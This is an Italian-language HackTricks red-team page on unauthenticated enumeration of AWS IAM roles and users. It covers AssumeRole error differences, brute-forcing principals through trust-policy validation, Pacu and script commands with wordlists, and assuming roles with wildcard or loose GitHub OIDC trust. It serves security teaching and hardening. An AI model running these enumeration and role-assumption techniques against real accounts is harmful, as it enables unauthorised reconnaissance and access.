AWS - IAM & STS Unauthenticated Enum

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Enumerare Ruoli e Nomi utente in un account

Forza Bruta Assume Role

Questa tecnica non funziona più poiché, che il ruolo esista o meno, si ottiene sempre questo errore:

Si è verificato un errore (AccessDenied) durante la chiamata all'operazione AssumeRole: L'utente: arn:aws:iam::947247140022:user/testenv non è autorizzato a eseguire: sts:AssumeRole sulla risorsa: arn:aws:iam::429217632764:role/account-balanceasdas

Puoi testare questo eseguendo:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Tentare di assumere un ruolo senza le autorizzazioni necessarie attiva un messaggio di errore AWS. Ad esempio, se non autorizzato, AWS potrebbe restituire:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Questo messaggio conferma l'esistenza del ruolo ma indica che la sua policy di assumere ruoli non permette la tua assunzione. Al contrario, provare ad assumere un ruolo inesistente porta a un errore diverso:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Interessantemente, questo metodo di differenziazione tra ruoli esistenti e non esistenti è applicabile anche tra diversi account AWS. Con un ID account AWS valido e un elenco di parole mirato, è possibile enumerare i ruoli presenti nell'account senza incontrare limitazioni intrinseche.

Puoi utilizzare questo script per enumerare i principali potenziali sfruttando questo problema.

Politiche di Fiducia: Forza Bruta sui ruoli e utenti tra account

Configurare o aggiornare una politica di fiducia del ruolo IAM implica definire quali risorse o servizi AWS sono autorizzati ad assumere quel ruolo e ottenere credenziali temporanee. Se la risorsa specificata nella politica esiste, la politica di fiducia viene salvata con successo. Tuttavia, se la risorsa non esiste, viene generato un errore, indicando che è stato fornito un principale non valido.

Nota che in quella risorsa potresti specificare un ruolo o un utente tra account:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Questo è un esempio di politica:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

Questo è l'errore che troverai se utilizzi un ruolo che non esiste. Se il ruolo esiste, la policy verrà salvata senza errori. (L'errore è per l'aggiornamento, ma funziona anche durante la creazione)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Puoi automatizzare questo processo con https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Il nostro utilizzo di Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • Il ruolo admin utilizzato nell'esempio è un ruolo nel tuo account da impersonare da pacu per creare le policy necessarie per l'enumerazione

Privesc

Nel caso in cui il ruolo fosse configurato male e permettesse a chiunque di assumerlo:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Il malintenzionato potrebbe semplicemente supporlo.

Federazione OIDC di terze parti

Immagina di essere riuscito a leggere un flusso di lavoro di Github Actions che sta accedendo a un ruolo all'interno di AWS. Questa fiducia potrebbe dare accesso a un ruolo con la seguente politica di trust:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Questo trust policy potrebbe essere corretto, ma la mancanza di ulteriori condizioni dovrebbe farti diffidare. Questo perché il ruolo precedente può essere assunto da CHIUNQUE da Github Actions! Dovresti specificare nelle condizioni anche altre informazioni come il nome dell'organizzazione, il nome del repository, l'ambiente, il ramo...

Un'altra potenziale errata configurazione è aggiungere una condizione come la seguente:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Nota che il jolly (*) prima dei due punti (:). Puoi creare un'organizzazione come org_name1 e assumere il ruolo da un'azione Github.

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated